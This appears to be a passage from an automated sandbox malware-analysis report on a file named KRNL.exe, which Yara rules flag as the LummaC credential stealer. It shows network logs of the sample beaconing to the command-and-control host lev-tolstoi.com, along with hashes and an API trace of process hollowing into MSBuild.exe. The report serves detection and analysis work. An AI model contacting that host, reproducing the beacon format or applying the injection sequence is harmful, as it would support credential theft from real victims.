b7 50 68 de a5 53 ce 84 49 d1 61 57 29 99 5d 75 f9 5e dd 52 7f 93 3c a5 c6 04 4d ca 30 90 Data Ascii: Tf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW)]u^R<M0
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 57 0f db e3 28 56 57 e1 b2 aa 1e b8 a4 5d 98 36 98 ac Data Ascii: FV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6BW(VW]6
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 15 1f 3e 31 58 43 af 4d 6c 8e 46 18 36 f9 9b 45 f0 ae Data Ascii: Wsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R>1XCMlF6E
2025-01-01 20:28:12 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ap3nd5k78kiqthj9nfi8ja9t9s; expires=Sun, 27 Apr 2025 14:14:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fsojRMVTTYhHW14VlRUMa8EPNmI%2FBBf6Zyu0d9lPmkaOnjmayeqDqeeLHEBYbWt1EjwnGsW8cQA9%2FJafpzhaNoB2iqGJSLEpPSBHB0uzsxgzf75%2FqVlrv3prtg4W3W5ekOQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb54106fcabf797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1486&rtt_var=587&sent=210&recv=587&lost=0&retrans=0&sent_bytes=2834&recv_bytes=570853&delivery_rate=1965006&cwnd=162&unsent_bytes=0&cid=51364f500c4f09a9&ts=4739&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49741	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: lev-tolstoi.com
2025-01-01 20:28:13 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 26 6a 3d 26 68 77 69 64 3d 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--629912535&j=&hwid=3BD251238DC531F1BCFD68B774EF9B7A
2025-01-01 20:28:13 UTC	1119	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5b78ormml84dsg09s4qbrmgcg5; expires=Sun, 27 Apr 2025 14:14:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hD1de9pApDRO1aGXsRh8egqNOFAo6Zb9kpuosgRT3ZnbRY142d0P1TV8TcRcJHCqs9pnZ7z4pNZmvoNQfefs3fWkXURA%2BuIyl2Wwd2EHmdzF87a4VwY9b1ygxHLjUJhCFUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb541279f7e41af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1692&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=985&delivery_rate=1666666&cwnd=224&unsent_bytes=0&cid=29d532e9b94a0294&ts=483&x=0"
2025-01-01 20:28:13 UTC	250	IN	Data Raw: 65 30 31 0d 0a 30 78 41 36 65 4c 63 4b 4b 49 78 6b 75 5a 56 2b 43 77 76 6e 4c 46 4d 68 30 44 4e 4b 54 6e 49 6e 33 74 2f 36 2b 58 44 2f 6b 54 75 49 61 78 67 65 77 79 67 53 76 55 69 62 38 46 77 78 4f 73 73 4f 4e 77 50 71 45 58 67 65 4a 68 61 72 74 71 79 59 52 71 76 6d 43 72 52 57 44 7a 32 50 62 58 7a 62 4e 74 69 6e 4b 31 39 4b 67 46 78 6d 56 61 68 42 4d 7a 63 5a 55 35 32 79 75 35 59 78 6c 4f 42 74 6f 58 38 49 54 76 31 4d 57 76 77 30 2f 64 49 2f 55 32 43 7a 56 52 46 76 69 6e 55 34 46 43 42 71 6e 5a 79 55 6c 45 4f 34 35 48 65 59 51 77 6f 7a 37 6b 6c 50 7a 7a 66 4e 2f 30 34 79 61 59 68 41 42 46 53 37 43 77 51 58 4d 45 4b 4d 6a 37 4f 38 51 5a 54 47 54 37 39 56 54 54 48 38 62 30 72 76 42 59 48 6d 44 6b 64 61 69 48 55 59 59 4a 70 34 65 7a 73 47 64 Data Ascii: e010xA6eLcKKIxkuZV+CwvnLFMh0DNKTnIn3t/6+XD/kTuIaxgewygSvUib8FwxOssONwPqEXgeJhartqyYRqvmCrRWDz2PbXzbNtinK19KgFxmVahBMzcZU52yu5YxlOBtoX8ITv1MWvw0/dI/U2CzVRFvinU4FCBqnZyUlEO45HeYQwoz7klPzzfN/04yaYhABFS7CwQXMEKMj7O8QZTGT79VTTH8b0rvBYHmDkdaiHUYYJp4ezsGd
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 36 71 63 6f 6f 78 45 72 39 52 75 6e 46 59 43 4d 65 64 7a 66 38 38 6f 32 73 45 51 61 55 4f 50 54 6a 70 44 6f 32 6b 37 4a 53 4e 70 76 34 36 38 76 68 4b 38 78 6b 6a 69 57 6c 77 65 39 56 6c 42 37 7a 48 52 7a 51 35 47 54 4c 51 65 41 42 57 47 58 7a 30 65 41 55 69 38 6a 70 79 36 51 37 6a 6b 57 62 46 54 43 6a 50 37 53 55 50 4c 4e 38 7a 73 48 57 56 76 31 30 41 45 56 4c 73 4c 42 42 63 77 51 6f 79 64 73 37 78 42 75 4d 4a 57 76 30 56 7a 4d 66 78 73 53 75 38 46 67 65 59 55 52 31 71 58 53 78 68 67 6d 6e 68 34 41 53 59 57 71 37 61 73 73 6b 61 72 35 67 71 30 56 67 38 39 6a 32 31 38 32 7a 4c 59 70 7a 74 66 53 6f 42 63 5a 6d 2b 6f 51 54 41 64 47 56 4f 64 73 72 75 57 4d 5a 54 6a 58 75 70 41 62 55 37 39 58 46 72 38 4e 50 33 4e 4c 31 4e 67 73 31 55 53 62 34 70 31 4f 42 51 67 Data Ascii: 6qcooxEr9RunFYCMedzf88o2sEQaUOPTjpDo2k7JSNpv468vhK8xkjiWlwe9VlB7zHRzQ5GTLQeABWGXz0eAUi8jpy6Q7jkWbFTCjP7SUPLN8zsHWVv10AEVLsLBBcwQoyds7xBuMJWv0VzMfxsSu8FgeYUR1qXSxhgmnh4ASYWq7asskar5gq0Vg89j2182zLYpztfSoBcZm+oQTAdGVOdsruWMZTjXupAbU79XFr8NP3NL1Ngs1USb4p1OBQg
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 2b 51 4a 70 36 6e 62 36 51 68 58 54 36 43 54 78 44 72 4d 4f 37 48 48 7a 6c 65 73 32 30 30 55 65 56 48 4d 6a 77 4c 58 72 57 72 75 5a 51 78 6b 4e 42 51 6f 55 6b 44 4b 4f 41 38 59 74 6f 57 79 63 55 36 58 45 71 2f 52 77 64 59 6b 6e 30 51 43 41 42 39 6a 4a 4b 35 75 68 36 53 6f 6e 79 6c 58 48 45 72 68 30 46 78 7a 77 50 36 78 67 70 68 4f 39 35 4f 50 45 32 48 52 69 46 32 50 48 36 63 75 71 69 70 4f 62 71 67 55 49 52 6b 56 6a 33 41 51 32 50 70 42 74 72 30 52 6e 68 37 71 33 30 6a 52 70 74 79 41 41 56 41 64 34 72 75 6a 35 41 6d 6e 71 64 76 70 43 46 64 50 6f 4a 50 45 4f 73 77 37 73 63 66 4f 56 36 7a 62 54 52 52 35 55 63 79 50 41 74 65 74 61 75 35 6c 44 47 51 30 46 43 68 53 51 4d 6f 34 44 78 69 32 68 62 4a 78 54 70 63 53 72 39 48 42 31 69 53 66 52 41 49 41 48 32 4d 6b Data Ascii: +QJp6nb6QhXT6CTxDrMO7HHzles200UeVHMjwLXrWruZQxkNBQoUkDKOA8YtoWycU6XEq/RwdYkn0QCAB9jJK5uh6SonylXHErh0FxzwP6xgphO95OPE2HRiF2PH6cuqipObqgUIRkVj3AQ2PpBtr0Rnh7q30jRptyAAVAd4ruj5AmnqdvpCFdPoJPEOsw7scfOV6zbTRR5UcyPAtetau5lDGQ0FChSQMo4Dxi2hbJxTpcSr9HB1iSfRAIAH2Mk
2025-01-01 20:28:13 UTC	604	IN	Data Raw: 71 79 46 58 34 65 6c 55 62 32 6d 42 42 2b 78 66 79 78 79 77 2f 66 70 31 34 4f 67 72 68 65 7a 6f 44 47 6d 53 73 68 63 4b 4d 50 6f 37 6d 62 72 30 6c 57 41 2f 72 4a 55 66 42 48 66 54 38 46 30 31 74 76 33 42 38 51 34 5a 6c 50 68 73 64 58 65 65 72 6b 61 73 36 6c 66 35 34 74 79 64 4a 4e 70 77 37 66 38 6b 70 30 61 63 59 59 6a 4b 6a 46 47 4d 4b 76 6d 4a 37 4f 6a 34 57 76 4f 72 43 73 41 6a 4b 2b 6c 43 31 56 31 63 56 32 48 39 6c 39 68 43 4e 35 42 5a 2b 66 4e 56 6d 50 33 33 2f 58 43 45 63 53 6e 76 78 71 4c 66 53 48 4a 72 39 51 59 74 48 43 68 66 61 59 6c 79 34 45 65 50 43 43 54 68 39 6b 30 30 32 45 5a 59 4c 47 67 55 39 45 5a 33 6f 76 70 38 45 6d 2f 42 77 34 58 74 75 4f 74 39 61 54 38 41 55 2f 2b 30 36 61 6e 75 6b 51 52 4a 4f 6b 56 67 37 5a 52 59 54 73 37 47 77 79 41 Data Ascii: qyFX4elUb2mBB+xfyxyw/fp14OgrhezoDGmSshcKMPo7mbr0lWA/rJUfBHfT8F01tv3B8Q4ZlPhsdXeerkas6lf54tydJNpw7f8kp0acYYjKjFGMKvmJ7Oj4WvOrCsAjK+lC1V1cV2H9l9hCN5BZ+fNVmP33/XCEcSnvxqLfSHJr9QYtHChfaYly4EePCCTh9k002EZYLGgU9EZ3ovp8Em/Bw4XtuOt9aT8AU/+06anukQRJOkVg7ZRYTs7GwyA
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 32 38 36 37 0d 0a 6e 6b 49 47 66 51 35 63 65 6f 54 34 50 6b 78 55 7a 6d 76 58 68 56 59 34 42 67 4c 4f 78 6c 2f 6d 35 47 4c 6b 6a 75 6d 30 6c 79 51 51 30 68 4e 68 45 35 68 34 44 62 6f 32 68 39 48 62 59 68 67 4e 30 6d 4d 48 41 67 6e 4a 78 4f 6b 68 70 2b 49 4a 62 37 61 64 4c 46 7a 66 68 76 6d 4f 46 6e 64 46 4e 37 65 50 30 46 41 73 55 35 34 57 35 34 43 45 42 63 6e 58 2b 72 75 6e 62 39 47 69 62 70 4d 70 56 70 6f 4b 34 4a 5a 66 4f 63 75 33 65 63 77 57 32 6a 65 54 51 46 69 71 47 49 72 50 43 34 49 37 70 43 4c 76 68 36 56 78 31 61 35 61 45 73 50 35 46 59 48 39 6a 65 42 39 6a 42 66 61 71 31 41 48 30 79 6a 64 79 77 6f 4f 32 6d 6d 6a 73 6d 38 50 6f 37 36 63 49 70 54 58 54 76 6b 5a 6c 76 41 43 64 71 68 43 7a 6c 59 30 55 59 47 56 70 39 62 45 69 45 32 59 4b 32 52 72 34 Data Ascii: 2867nkIGfQ5ceoT4PkxUzmvXhVY4BgLOxl/m5GLkjum0lyQQ0hNhE5h4Dbo2h9HbYhgN0mMHAgnJxOkhp+IJb7adLFzfhvmOFndFN7eP0FAsU54W54CEBcnX+runb9GibpMpVpoK4JZfOcu3ecwW2jeTQFiqGIrPC4I7pCLvh6Vx1a5aEsP5FYH9jeB9jBfaq1AH0yjdywoO2mmjsm8Po76cIpTXTvkZlvACdqhCzlY0UYGVp9bEiE2YK2Rr4
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 53 59 5a 52 66 56 50 47 57 6b 72 64 43 76 71 6d 46 48 4a 6d 6b 30 63 43 61 37 70 63 43 53 77 51 53 4a 44 30 79 36 34 32 73 76 6c 65 34 31 56 54 49 74 77 68 48 64 6c 55 69 4f 55 79 4f 32 58 65 53 6d 70 57 74 51 41 39 4e 68 42 49 37 34 2b 7a 77 53 4f 77 34 57 66 38 63 57 67 6f 2f 6b 38 5a 35 7a 7a 31 30 77 52 4b 4f 61 77 48 43 58 4f 57 66 69 59 74 51 47 36 52 6c 72 75 64 41 49 58 59 63 70 64 30 55 31 50 41 4d 6b 4c 30 4c 59 2f 37 52 33 74 4f 33 30 73 48 64 6f 4a 51 4f 52 59 2f 5a 6f 75 76 7a 35 55 31 6c 75 68 74 71 55 6c 35 54 39 35 6d 62 75 49 6a 38 2b 55 31 62 31 69 33 65 6d 42 52 67 48 38 51 43 79 64 50 6b 62 53 73 67 30 57 51 78 77 6d 6d 61 6c 4e 54 68 48 74 2f 37 52 44 34 33 79 39 67 54 64 5a 5a 46 42 57 44 43 69 42 2b 53 30 57 49 75 4a 47 2b 4d 59 6a Data Ascii: SYZRfVPGWkrdCvqmFHJmk0cCa7pcCSwQSJD0y642svle41VTItwhHdlUiOUyO2XeSmpWtQA9NhBI74+zwSOw4Wf8cWgo/k8Z5zz10wRKOawHCXOWfiYtQG6RlrudAIXYcpd0U1PAMkL0LY/7R3tO30sHdoJQORY/Zouvz5U1luhtqUl5T95mbuIj8+U1b1i3emBRgH8QCydPkbSsg0WQxwmmalNThHt/7RD43y9gTdZZFBWDCiB+S0WIuJG+MYj
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 6e 41 4a 78 33 39 66 39 41 6a 59 32 69 35 36 57 49 42 66 4a 55 6d 6d 59 6a 6b 46 47 56 2f 31 73 59 4f 65 4b 5a 48 77 58 72 45 67 66 43 6d 4f 59 58 6e 47 4d 66 4c 74 4d 55 5a 6f 72 48 67 79 61 2b 46 35 41 6e 38 32 55 66 57 7a 6c 72 4d 7a 72 64 4a 6e 2f 46 74 67 48 65 56 4a 55 4c 38 64 31 64 41 53 51 33 75 47 57 52 46 53 34 45 51 38 50 53 41 52 69 70 32 52 69 78 79 36 77 32 2b 62 53 67 67 36 68 57 30 62 79 6c 44 51 30 54 31 45 51 71 68 6d 43 6b 53 38 55 68 39 35 47 48 57 6f 74 4c 66 42 47 6f 66 59 44 62 30 70 53 6a 32 50 62 58 7a 62 4e 75 71 67 43 6b 6f 2f 71 56 67 6b 56 59 4a 59 48 68 34 63 63 2b 65 46 77 71 73 49 71 2b 74 4d 2b 43 42 32 51 59 55 7a 54 65 52 54 39 63 39 4c 58 55 36 54 57 79 5a 69 75 51 55 66 4a 68 6c 69 71 75 6d 56 6e 77 69 53 77 33 47 2b Data Ascii: nAJx39f9AjY2i56WIBfJUmmYjkFGV/1sYOeKZHwXrEgfCmOYXnGMfLtMUZorHgya+F5An82UfWzlrMzrdJn/FtgHeVJUL8d1dASQ3uGWRFS4EQ8PSARip2Rixy6w2+bSgg6hW0bylDQ0T1EQqhmCkS8Uh95GHWotLfBGofYDb0pSj2PbXzbNuqgCko/qVgkVYJYHh4cc+eFwqsIq+tM+CB2QYUzTeRT9c9LXU6TWyZiuQUfJhliqumVnwiSw3G+
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 42 34 61 72 68 50 2b 76 4d 71 66 56 6d 41 56 42 42 34 75 48 39 39 47 7a 5a 77 6a 4c 79 4a 6f 51 53 70 36 56 2b 50 50 33 51 6f 31 47 4a 37 2b 52 48 44 30 6a 56 35 66 4c 4a 45 4d 57 2b 41 56 53 6b 68 4f 47 69 39 37 72 53 44 50 36 65 68 62 36 70 54 41 68 54 78 54 47 54 61 4b 66 72 57 46 55 55 7a 70 68 38 57 62 36 46 59 41 52 63 78 51 4a 32 4d 6c 72 78 62 6d 2f 31 63 76 53 42 44 47 65 73 6c 41 2b 4d 75 36 36 4d 4a 59 6b 4f 74 61 54 42 4b 68 31 41 57 59 51 59 57 6b 62 4f 41 6e 69 53 46 70 58 65 44 51 46 42 4f 39 6b 68 6b 77 54 33 36 6f 51 70 52 51 61 78 32 46 6b 50 6d 42 6a 35 38 52 51 7a 74 68 72 4b 41 50 70 7a 6a 63 4c 78 6d 62 53 53 59 51 52 48 32 4e 2f 66 62 46 55 6c 75 73 32 6b 53 53 71 4a 71 4c 6a 6b 75 43 4f 2b 4b 74 62 67 78 7a 50 74 73 6b 6b 68 52 44 Data Ascii: B4arhP+vMqfVmAVBB4uH99GzZwjLyJoQSp6V+PP3Qo1GJ7+RHD0jV5fLJEMW+AVSkhOGi97rSDP6ehb6pTAhTxTGTaKfrWFUUzph8Wb6FYARcxQJ2Mlrxbm/1cvSBDGeslA+Mu66MJYkOtaTBKh1AWYQYWkbOAniSFpXeDQFBO9khkwT36oQpRQax2FkPmBj58RQzthrKAPpzjcLxmbSSYQRH2N/fbFUlus2kSSqJqLjkuCO+KtbgxzPtskkhRD
2025-01-01 20:28:13 UTC	1369	IN	Data Raw: 62 4c 2b 6e 5a 54 46 78 62 30 6d 5a 71 65 4a 63 44 65 58 6f 54 55 59 71 35 6b 6f 73 37 71 66 34 4e 76 53 6c 4b 50 59 39 74 66 4e 73 32 32 4e 77 58 58 6b 71 4b 52 48 68 56 35 56 67 73 46 69 64 55 35 37 71 53 79 54 47 7a 79 57 4f 43 59 56 64 50 68 54 4e 6a 76 54 54 4b 34 43 34 39 53 59 31 57 65 48 66 6b 61 54 68 38 48 6d 4f 6f 73 61 4b 58 4f 62 44 65 59 35 67 70 66 7a 36 47 5a 48 6e 49 46 2b 2f 57 45 54 49 37 6f 6c 31 6b 62 59 55 4b 4d 44 6b 56 5a 49 79 34 6e 62 55 70 76 66 78 49 73 58 4e 6f 4c 66 78 79 45 65 6f 56 77 39 67 76 50 55 4f 37 41 77 64 4f 34 47 6b 2f 4e 6a 70 45 70 71 79 55 69 6a 61 4d 2f 48 50 68 52 48 41 7a 2f 6c 70 62 36 77 58 51 77 6a 68 53 62 4b 70 34 50 32 71 34 63 43 51 4d 57 58 2b 32 70 34 75 44 47 34 58 2b 59 6f 5a 66 66 68 53 46 50 48 Data Ascii: bL+nZTFxb0mZqeJcDeXoTUYq5kos7qf4NvSlKPY9tfNs22NwXXkqKRHhV5VgsFidU57qSyTGzyWOCYVdPhTNjvTTK4C49SY1WeHfkaTh8HmOosaKXObDeY5gpfz6GZHnIF+/WETI7ol1kbYUKMDkVZIy4nbUpvfxIsXNoLfxyEeoVw9gvPUO7AwdO4Gk/NjpEpqyUijaM/HPhRHAz/lpb6wXQwjhSbKp4P2q4cCQMWX+2p4uDG4X+YoZffhSFPH

Target ID:	0
Start time:	15:27:56
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\KRNL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KRNL.exe"
Imagebase:	0x6e0000
File size:	567'848 bytes
MD5 hash:	976A25D2FED5FC7C8700588A33C6826C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:27:56
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:27:56
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\KRNL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KRNL.exe"
Imagebase:	0x6e0000
File size:	567'848 bytes
MD5 hash:	976A25D2FED5FC7C8700588A33C6826C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1751845531.00000000033CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 0071A19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0071A110,0071A100), ref: 0071A334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0071A347
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 0071A365
ReadProcessMemory.KERNELBASE(00000094,?,0071A154,00000004,00000000), ref: 0071A389
VirtualAllocEx.KERNELBASE(00000094,?,?,00003000,00000040), ref: 0071A3B4
WriteProcessMemory.KERNELBASE(00000094,00000000,?,?,00000000,?), ref: 0071A40C
WriteProcessMemory.KERNELBASE(00000094,00400000,?,?,00000000,?,00000028), ref: 0071A457
WriteProcessMemory.KERNELBASE(00000094,?,?,00000004,00000000), ref: 0071A495
Wow64SetThreadContext.KERNEL32(00000098,006C0000), ref: 0071A4D1
ResumeThread.KERNELBASE(00000098), ref: 0071A4E0

Strings

CreateProcessW, xrefs: 0071A250
VirtualAlloc, xrefs: 0071A263
VirtualAllocEx, xrefs: 0071A29C
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0071A333
aryA, xrefs: 0071A1E2
TerminateProcess, xrefs: 0071A3C3
GetP, xrefs: 0071A21E
ReadProcessMemory, xrefs: 0071A289
ress, xrefs: 0071A226
ResumeThread, xrefs: 0071A2D8
WriteProcessMemory, xrefs: 0071A2AF
SetThreadContext, xrefs: 0071A2C2
GetThreadContext, xrefs: 0071A276
Load, xrefs: 0071A1DA

Memory Dump Source

Source File: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 2336894a2a58aeb70f7ee618858027374725b59aab56cdd80a92ec8f7714991c
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 2DB1F67664168AAFDB60CF6CCC80BDA73A5FF88714F158124EA08AB341D774FA51CB94

Function 006E1FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006E1240: _strlen.LIBCMT ref: 006E12BA

CreateFileA.KERNELBASE ref: 006E2036
GetFileSize.KERNEL32(00000000,00000000), ref: 006E2046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 006E206B
CloseHandle.KERNELBASE(00000000), ref: 006E207A
_strlen.LIBCMT ref: 006E20CD
CloseHandle.KERNEL32(00000000), ref: 006E21FD

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 0ff04b945d2aac2ded0fb6e3497b7ca115f2b57ed97f4ff04de89150a15007e8
